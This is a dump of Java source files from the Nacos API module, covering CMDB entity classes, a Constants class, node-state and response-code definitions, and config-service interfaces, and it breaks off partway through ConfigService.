    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\nimport java.util.Map;\n\n/**\n * CMDB entity.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic class Entity {\n    \n    private String type;\n    \n    private String name;\n    \n    private Map<String, String> labels;\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public Map<String, String> getLabels() {\n        return labels;\n    }\n    \n    public void setLabels(Map<String, String> labels) {\n        this.labels = labels;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/cmdb/pojo/EntityEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\n/**\n * CMDB entity event.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic class EntityEvent {\n    \n    private EntityEventType type;\n    \n    private String entityName;\n    \n    private String entityType;\n    \n    public EntityEventType getType() {\n        return type;\n    }\n    \n    public void setType(EntityEventType type) {\n        this.type = type;\n    }\n    \n    public String getEntityName() {\n        return entityName;\n    }\n    \n    public void setEntityName(String entityName) {\n        this.entityName = entityName;\n    }\n    \n    public String getEntityType() {\n        return entityType;\n    }\n    \n    public void setEntityType(String entityType) {\n        this.entityType = entityType;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/cmdb/pojo/EntityEventType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\n/**\n * CMDB entity event type.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic enum EntityEventType {\n    \n    /**\n     * Add or update entity.\n     */\n    ENTITY_ADD_OR_UPDATE,\n    /**\n     * Remove entity.\n     */\n    ENTITY_REMOVE\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/cmdb/pojo/Label.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\nimport java.util.Set;\n\n/**\n * CMDB label.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic class Label {\n    \n    private String name;\n    \n    private Set<String> values;\n    \n    private String description;\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public Set<String> getValues() {\n        return values;\n    }\n    \n    public void setValues(Set<String> values) {\n        this.values = values;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/cmdb/pojo/PreservedEntityTypes.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.pojo;\n\n/**\n * CMDB preserved entity type.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic enum PreservedEntityTypes {\n    /**\n     * Ip.\n     */\n    ip,\n    /**\n     * Service.\n     */\n    service\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/cmdb/spi/CmdbService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.cmdb.spi;\n\nimport com.alibaba.nacos.api.cmdb.pojo.Entity;\nimport com.alibaba.nacos.api.cmdb.pojo.EntityEvent;\nimport com.alibaba.nacos.api.cmdb.pojo.Label;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * Service to visit CMDB store.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic interface CmdbService {\n    \n    /**\n     * Get all label names stored in CMDB.\n     *\n     * @return label name set\n     */\n    Set<String> getLabelNames();\n    \n    /**\n     * Get all possible entity types in CMDB.\n     *\n     * @return all entity types\n     */\n    Set<String> getEntityTypes();\n    \n    /**\n     * Get label info.\n     *\n     * @param labelName label name\n     * @return label info\n     */\n    Label getLabel(String labelName);\n    \n    /**\n     * Get label value of label name of ip.\n     *\n     * @param entityName entity name\n     * @param entityType entity type\n     * @param labelName  target label name\n     * @return label value\n     */\n    String getLabelValue(String entityName, String entityType, String labelName);\n    \n    /**\n     * Get all label value of ip.\n     *\n     * @param entityName entity name\n     * @param entityType entity type\n     * @return all label values\n     */\n    Map<String, String> getLabelValues(String entityName, String entityType);\n    \n    /**\n     * Dump all entities in CMDB.\n     *\n     * @return all entities\n     */\n    Map<String, Map<String, Entity>> getAllEntities();\n    \n    /**\n     * get label change events.\n     *\n     * @param timestamp start time of generated events\n     * @return label events\n     */\n    List<EntityEvent> getEntityEvents(long timestamp);\n    \n    /**\n     * Get single entity.\n     *\n     * @param entityName name of entity\n     * @param entityType type of entity\n     * @return entity.\n     */\n    Entity getEntity(String entityName, String entityType);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/common/Constants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.common;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Constants.\n *\n * @author Nacos\n */\npublic class Constants {\n    \n    public static final String CLIENT_VERSION = \"3.0.0\";\n    \n    public static final int DATA_IN_BODY_VERSION = 204;\n    \n    public static final String DEFAULT_GROUP = \"DEFAULT_GROUP\";\n    \n    public static final String APPNAME = \"AppName\";\n    \n    public static final String CLIENT_VERSION_KEY = \"ClientVersion\";\n    \n    public static final String CLIENT_IP = \"ClientIp\";\n    \n    public static final String UNKNOWN_APP = \"UnknownApp\";\n    \n    public static final String DEFAULT_DOMAINNAME = \"commonconfig.config-host.taobao.com\";\n    \n    public static final String DAILY_DOMAINNAME = \"commonconfig.taobao.net\";\n    \n    public static final String NULL = \"\";\n    \n    public static final String DATA_ID = \"dataId\";\n\n    public static final String TENANT = \"tenant\";\n\n    public static final String GROUP = \"group\";\n    \n    public static final String GROUP_NAME = \"groupName\";\n    \n    public static final String NAMESPACE_ID = \"namespaceId\";\n\n    public static final String TARGET_NAMESPACE_ID = \"targetNamespaceId\";\n\n    public static final String LAST_MODIFIED = \"Last-Modified\";\n    \n    public static final String ACCEPT_ENCODING = \"Accept-Encoding\";\n    \n    public static final String CONTENT_ENCODING = \"Content-Encoding\";\n    \n    public static final String PROBE_MODIFY_REQUEST = \"Listening-Configs\";\n    \n    public static final String PROBE_MODIFY_RESPONSE = \"Probe-Modify-Response\";\n    \n    public static final String PROBE_MODIFY_RESPONSE_NEW = \"Probe-Modify-Response-New\";\n    \n    public static final String USE_ZIP = \"true\";\n    \n    public static final String CONTENT_MD5 = \"Content-MD5\";\n    \n    public static final String CONFIG_VERSION = \"Config-Version\";\n    \n    public static final String CONFIG_TYPE = \"Config-Type\";\n    \n    public static final String ENCRYPTED_DATA_KEY = \"Encrypted-Data-Key\";\n    \n    public static final String IF_MODIFIED_SINCE = \"If-Modified-Since\";\n    \n    public static final String SPACING_INTERVAL = \"client-spacing-interval\";\n    \n    public static final String BASE_PATH = \"/v1/cs\";\n    \n    public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + \"/configs\";\n    \n    public static final String TOKEN = \"token\";\n    \n    public static final String ACCESS_TOKEN = \"accessToken\";\n    \n    public static final String TOKEN_TTL = \"tokenTtl\";\n    \n    public static final String GLOBAL_ADMIN = \"globalAdmin\";\n    \n    public static final String USERNAME = \"username\";\n    \n    public static final String TOKEN_REFRESH_WINDOW = \"tokenRefreshWindow\";\n    \n    public static final Integer SDK_GRPC_PORT_DEFAULT_OFFSET = 1000;\n    \n    public static final Integer CLUSTER_GRPC_PORT_DEFAULT_OFFSET = 1001;\n    \n    /**\n     * second.\n     */\n    public static final int ASYNC_UPDATE_ADDRESS_INTERVAL = 300;\n    \n    /**\n     * second.\n     */\n    public static final int POLLING_INTERVAL_TIME = 15;\n    \n    /**\n     * millisecond.\n     */\n    public static final int ONCE_TIMEOUT = 2000;\n    \n    /**\n     * millisecond.\n     */\n    public static final int SO_TIMEOUT = 60000;\n    \n    /**\n     * millisecond.\n     */\n    public static final int CONFIG_LONG_POLL_TIMEOUT = 30000;\n    \n    /**\n     * millisecond.\n     */\n    public static final int MIN_CONFIG_LONG_POLL_TIMEOUT = 10000;\n    \n    /**\n     * millisecond.\n     */\n    public static final int CONFIG_RETRY_TIME = 2000;\n    \n    /**\n     * Maximum number of retries.\n     */\n    public static final int MAX_RETRY = 3;\n    \n    /**\n     * millisecond.\n     */\n    public static final int RECV_WAIT_TIMEOUT = ONCE_TIMEOUT * 5;\n    \n    public static final String ENCODE = \"UTF-8\";\n    \n    public static final String MAP_FILE = \"map-file.js\";\n    \n    public static final int FLOW_CONTROL_THRESHOLD = 20;\n    \n    public static final int FLOW_CONTROL_SLOT = 10;\n    \n    public static final int FLOW_CONTROL_INTERVAL = 1000;\n    \n    public static final float DEFAULT_PROTECT_THRESHOLD = 0.0F;\n    \n    public static final String LINE_SEPARATOR = Character.toString((char) 1);\n    \n    public static final String WORD_SEPARATOR = Character.toString((char) 2);\n    \n    public static final String LONGPOLLING_LINE_SEPARATOR = \"\\r\\n\";\n    \n    public static final String CLIENT_APPNAME_HEADER = \"Client-AppName\";\n    \n    public static final String CLIENT_REQUEST_TS_HEADER = \"Client-RequestTS\";\n    \n    public static final String CLIENT_REQUEST_TOKEN_HEADER = \"Client-RequestToken\";\n    \n    public static final int ATOMIC_MAX_SIZE = 1000;\n    \n    public static final String NAMING_INSTANCE_ID_SPLITTER = \"#\";\n    \n    public static final int NAMING_INSTANCE_ID_SEG_COUNT = 4;\n    \n    public static final String NAMING_HTTP_HEADER_SPLITTER = \"\\\\|\";\n    \n    public static final String DEFAULT_CLUSTER_NAME = \"DEFAULT\";\n    \n    public static final long DEFAULT_HEART_BEAT_TIMEOUT = TimeUnit.SECONDS.toMillis(15);\n    \n    public static final long DEFAULT_IP_DELETE_TIMEOUT = TimeUnit.SECONDS.toMillis(30);\n    \n    public static final long DEFAULT_HEART_BEAT_INTERVAL = TimeUnit.SECONDS.toMillis(5);\n    \n    public static final String DEFAULT_NAMESPACE_ID = \"public\";\n    \n    public static final boolean DEFAULT_USE_CLOUD_NAMESPACE_PARSING = true;\n    \n    public static final int WRITE_REDIRECT_CODE = 307;\n    \n    public static final String SERVICE_INFO_SPLITER = \"@@\";\n    \n    public static final int SERVICE_INFO_SPLIT_COUNT = 2;\n    \n    public static final String NULL_STRING = \"null\";\n    \n    public static final String NUMBER_PATTERN_STRING = \"^\\\\d+$\";\n    \n    public static final String ANY_PATTERN = \".*\";\n    \n    public static final String DEFAULT_INSTANCE_ID_GENERATOR = \"simple\";\n    \n    public static final String SNOWFLAKE_INSTANCE_ID_GENERATOR = \"snowflake\";\n    \n    public static final String HTTP_PREFIX = \"http\";\n    \n    public static final String ALL_PATTERN = \"*\";\n    \n    public static final String COLON = \":\";\n    \n    public static final String LINE_BREAK = \"\\n\";\n    \n    public static final String POUND = \"#\";\n    \n    public static final String VIPSERVER_TAG = \"Vipserver-Tag\";\n    \n    public static final String AMORY_TAG = \"Amory-Tag\";\n    \n    public static final String LOCATION_TAG = \"Location-Tag\";\n    \n    public static final String CHARSET_KEY = \"charset\";\n    \n    public static final String CLUSTER_NAME_PATTERN_STRING = \"^[0-9a-zA-Z-]+$\";\n    \n    /**\n     * millisecond.\n     */\n    public static final long DEFAULT_REDO_DELAY_TIME = 3000L;\n    \n    public static final int DEFAULT_REDO_THREAD_COUNT = 1;\n    \n    public static final String APP_CONN_LABELS_KEY = \"nacos.app.conn.labels\";\n    \n    public static final String DOT = \".\";\n    \n    public static final String WEIGHT = \"weight\";\n    \n    public static final String PROPERTIES_KEY = \"properties\";\n    \n    public static final String JVM_KEY = \"jvm\";\n    \n    public static final String ENV_KEY = \"env\";\n    \n    public static final String APP_CONN_LABELS_PREFERRED = \"nacos_app_conn_labels_preferred\";\n    \n    public static final String APP_CONN_PREFIX = \"app_\";\n    \n    public static final String CONFIG_GRAY_LABEL = \"nacos.config.gray.label\";\n    \n    /**\n     * Since 2.3.3, For some situation like java agent using nacos-client which can't use env ram info.\n     */\n    public static final String DEFAULT_USE_RAM_INFO_PARSING = \"true\";\n    \n    public static final String CLIENT_MODULE_TYPE = \"clientModuleType\";\n    \n    /**\n     * The constants in config directory.\n     */\n    public static class Config {\n        \n        public static final String CONFIG_MODULE = \"config\";\n        \n        public static final String NOTIFY_HEADER = \"notify\";\n    }\n    \n    /**\n     * The constants in naming directory.\n     */\n    public static class Naming {\n        \n        public static final String NAMING_MODULE = \"naming\";\n        \n        public static final String CMDB_CONTEXT_TYPE = \"CMDB\";\n    }\n    \n    public static final String FUZZY_WATCH_PATTERN_SPLITTER = \">>\";\n    \n    /**\n     * fuzzy watch sync type of watch init notify.\n     */\n    public static final String FUZZY_WATCH_INIT_NOTIFY = \"FUZZY_WATCH_INIT_NOTIFY\";\n    \n    /**\n     * fuzzy watch sync type of watch init notify finish.\n     */\n    public static final String FINISH_FUZZY_WATCH_INIT_NOTIFY = \"FINISH_FUZZY_WATCH_INIT_NOTIFY\";\n    \n    /**\n     * fuzzy watch sync type of watch diff sync notify.\n     */\n    public static final String FUZZY_WATCH_DIFF_SYNC_NOTIFY = \"FUZZY_WATCH_DIFF_SYNC_NOTIFY\";\n    \n    /**\n     * fuzzy watch sync type of watch resource changed.\n     */\n    public static final String FUZZY_WATCH_RESOURCE_CHANGED = \"FUZZY_WATCH_RESOURCE_CHANGED\";\n    \n    /**\n     * watch type of watch.\n     */\n    public static final String WATCH_TYPE_WATCH = \"WATCH\";\n    \n    /**\n     * watch type of cancel watch.\n     */\n    public static final String WATCH_TYPE_CANCEL_WATCH = \"CANCEL_WATCH\";\n    \n    /**\n     * The constants in config fuzzy watch changed type directory.\n     */\n    public static class ConfigChangedType {\n        \n        public static final String ADD_CONFIG = \"ADD_CONFIG\";\n        \n        public static final String DELETE_CONFIG = \"DELETE_CONFIG\";\n        \n        public static final String CONFIG_CHANGED = \"CONFIG_CHANGED\";\n    \n    }\n    \n    /**\n     * The constants in naming fuzzy watch changed type directory.\n     */\n    public static class ServiceChangedType {\n        \n        public static final String ADD_SERVICE = \"ADD_SERVICE\";\n        \n        public static final String DELETE_SERVICE = \"DELETE_SERVICE\";\n        \n        public static final String INSTANCE_CHANGED = \"INSTANCE_CHANGED\";\n        \n        public static final String HEART_BEAT = \"HEART_BEAT\";\n        \n    }\n    \n    /**\n     * The constants in lock directory.\n     */\n    public static class Lock {\n        \n        public static final String LOCK_MODULE = \"lock\";\n        \n    }\n    \n    /**\n     * The constants in remote directory.\n     */\n    public static class Remote {\n        \n        public static final String INTERNAL_MODULE = \"internal\";\n    }\n    \n    /**\n     * The constants in exception directory.\n     */\n    public static class Exception {\n        \n        public static final int SERIALIZE_ERROR_CODE = 100;\n        \n        public static final int DESERIALIZE_ERROR_CODE = 101;\n        \n        public static final int FIND_DATASOURCE_ERROR_CODE = 102;\n        \n        public static final int FIND_TABLE_ERROR_CODE = 103;\n    }\n    \n    /**\n     * The constants in AI directory.\n     */\n    public static class AI {\n        \n        public static final String AI_MODULE = \"ai\";\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/common/NodeState.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.common;\n\n/**\n * The life cycle state of a node plays an important role.\n *\n * <p>1.3.0 The unified sinking operation should be done first, and the node state\n * should be radiated out later, mainly for whether the request can be processed and so on</p>\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic enum NodeState {\n    \n    /**\n     * Node is starting.\n     */\n    STARTING,\n    \n    /**\n     * Node is up and ready for request.\n     */\n    UP,\n    \n    /**\n     * Node may Crash.\n     */\n    SUSPICIOUS,\n    \n    /**\n     * Node is out of service, something abnormal happened.\n     */\n    DOWN,\n    \n    /**\n     * The Node is isolated.\n     */\n    ISOLATION,\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/common/ResponseCode.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.common;\n\n/**\n * Response code definitions.\n *\n * <p>This class and inherited classes define codes separated from HTTP code to provide richer and preciser information of\n * the API results. A recommended rule for defining response code is:\n * <li> Global and common code starts with 10001.\n * <li> Naming module code starts with 20001.\n * <li> Config module code starts with 30001.\n * <li> Core module code starts with 40001.\n *\n * @author nkorange\n * @since 1.2.0\n */\npublic class ResponseCode {\n    \n    /**\n     * Everything normal.\n     */\n    public static final int OK = 10200;\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ConfigChangeEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport java.util.Collection;\nimport java.util.Map;\n\n/**\n * ConfigChangeEvent.\n *\n * @author rushsky518\n */\npublic class ConfigChangeEvent {\n    \n    private final Map<String, ConfigChangeItem> data;\n    \n    public ConfigChangeEvent(Map<String, ConfigChangeItem> data) {\n        this.data = data;\n    }\n    \n    public ConfigChangeItem getChangeItem(String key) {\n        return data.get(key);\n    }\n    \n    public Collection<ConfigChangeItem> getChangeItems() {\n        return data.values();\n    }\n    \n}\n\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ConfigChangeItem.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\n/**\n * ConfigChangeItem.\n *\n * @author rushsky518\n */\npublic class ConfigChangeItem {\n    \n    private String key;\n    \n    private String oldValue;\n    \n    private String newValue;\n    \n    private PropertyChangeType type;\n    \n    public ConfigChangeItem(String key, String oldValue, String newValue) {\n        this.key = key;\n        this.oldValue = oldValue;\n        this.newValue = newValue;\n    }\n    \n    public String getKey() {\n        return key;\n    }\n    \n    public void setKey(String key) {\n        this.key = key;\n    }\n    \n    public String getOldValue() {\n        return oldValue;\n    }\n    \n    public void setOldValue(String oldValue) {\n        this.oldValue = oldValue;\n    }\n    \n    public String getNewValue() {\n        return newValue;\n    }\n    \n    public void setNewValue(String newValue) {\n        this.newValue = newValue;\n    }\n    \n    public PropertyChangeType getType() {\n        return type;\n    }\n    \n    public void setType(PropertyChangeType type) {\n        this.type = type;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigChangeItem{\" + \"key='\" + key + '\\'' + \", oldValue='\" + oldValue + '\\'' + \", newValue='\" + newValue\n                + '\\'' + \", type=\" + type + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ConfigFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Properties;\n\n/**\n * Config Factory.\n *\n * @author Nacos\n */\npublic class ConfigFactory {\n    \n    /**\n     * Create Config.\n     *\n     * @param properties init param\n     * @return ConfigService\n     * @throws NacosException Exception\n     */\n    public static ConfigService createConfigService(Properties properties) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.config.NacosConfigService\");\n            Constructor constructor = driverImplClass.getConstructor(Properties.class);\n            ConfigService vendorImpl = (ConfigService) constructor.newInstance(properties);\n            return vendorImpl;\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n    \n    /**\n     * Create Config.\n     *\n     * @param serverAddr serverList\n     * @return Config\n     * @throws NacosException create configService failed Exception\n     */\n    public static ConfigService createConfigService(String serverAddr) throws NacosException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, serverAddr);\n        return createConfigService(properties);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ConfigQueryResult.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport java.io.Serializable;\n\n/**\n * Config query result containing content and metadata.\n *\n * <p>This class provides access to configuration content along with\n * its metadata like MD5 hash for CAS operations.</p>\n *\n * @author nacos\n * @since 3.0\n */\npublic class ConfigQueryResult implements Serializable {\n    \n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Configuration content.\n     */\n    private String content;\n    \n    /**\n     * MD5 hash of the content.\n     */\n    private String md5;\n    \n    /**\n     * Configuration type (json, yaml, properties, etc.).\n     */\n    private String configType;\n    \n    /**\n     * Encrypted data key (if encryption is enabled).\n     */\n    private String encryptedDataKey;\n    \n    public ConfigQueryResult() {\n    }\n    \n    public ConfigQueryResult(String content, String md5) {\n        this.content = content;\n        this.md5 = md5;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public String getConfigType() {\n        return configType;\n    }\n    \n    public void setConfigType(String configType) {\n        this.configType = configType;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigQueryResult{\" + \"content='\" + (content != null ? content.substring(0, Math.min(50, content.length())) + \"...\" : \"null\") \n                + '\\'' + \", md5='\" + md5 + '\\'' + \", configType='\" + configType + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ConfigService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Set;\nimport java.util.concurrent.Future;\n\n/**\n * Config Service Interface.\n *\n * @author Nacos\n */\npublic interface ConfigService {\n    \n    /**\n     * Get config.\n     *\n     * @param dataId    dataId\n     * @param group     group\n     * @param timeoutMs read timeout\n     * @return config value\n     * @throws NacosException NacosException\n     */\n    String getConfig(String dataId, String group, long timeoutMs) throws NacosException;\n    \n    /**\n     * Get config with full result including MD5.\n     *\n     * <p>This method returns a {@link ConfigQueryResult} containing both\n     * the configuration content and its MD5 hash, which can be used for\n     * CAS (Compare-And-Swap) operations.</p>\n     *\n     * @param dataId    dataId\n     * @param group     group\n     * @param timeoutMs read timeout\n     * @return config query result containing content and md5\n     * @throws NacosException NacosException\n     * @since 3.0\n     */\n    default ConfigQueryResult getConfigWithResult(String dataId, String group, long timeoutMs) throws NacosException {\n        // Default implementation returns content only, without MD5\n        String content = getConfig(dataId, group, timeoutMs);\n        return new ConfigQueryResult(content, null);\n    }\n    \n    /**\n     * Get config and register Listener.\n     *\n     * <p>If you want to pull it yourself when the program starts to get the configuration for the first time, and the\n     * registered Listener is used for future configuration updates, you can keep the original code unchanged, just add\n     * the system parameter: enableRemoteSyncConfig = \"true\" ( But there is network overhead); therefore we recommend\n     * that you use this interface directly\n     *\n     * @param dataId    dataId\n     * @param group     group\n     * @param timeoutMs read timeout\n     * @param listener  {@link Listener}\n     * @return config value\n     * @throws NacosException NacosException\n     */\n    String getConfigAndSignListener(String dataId, String group, long timeoutMs, Listener listener)\n            throws 